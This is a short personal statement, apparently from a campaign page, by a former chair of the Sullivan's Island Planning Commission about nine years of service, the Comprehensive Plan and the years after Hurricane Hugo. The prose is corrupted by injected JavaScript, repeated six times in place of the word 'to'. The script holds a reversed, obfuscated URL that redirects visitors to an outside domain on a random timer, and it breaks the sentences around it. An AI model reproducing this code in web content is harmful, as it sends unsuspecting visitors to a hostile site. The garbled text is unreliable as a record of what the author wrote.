One day my neighbor, then Mayor Mike Perkis, walked tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to our house and said “Hey, I’ve got a job for you!”

With that I began nine years service on the Planning Commission for Sullivan’s Island.

We’ve lived here over 30 years, but the past nine have allowed me tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to learn from our commissioners, council and our tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}town staff. I’ve come tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to understand that, while Sullivan’s Island is small, it has the same challenges as our larger neighbors, just working within a smaller budget!

As chair of the SI Planning Commission, we produced the new Comprehensive Plan that outlines the direction of the island and address resiliency and sustainable stewardship of Sullivan’s Island. We authored the changes that have saved many of our histobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toric structures. 

I remember well the time after Hurricane Hugo when every tree was precious, we expected fairness tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to everyone and neighbors felt less polarized, more shared in their vision of what the island could be.
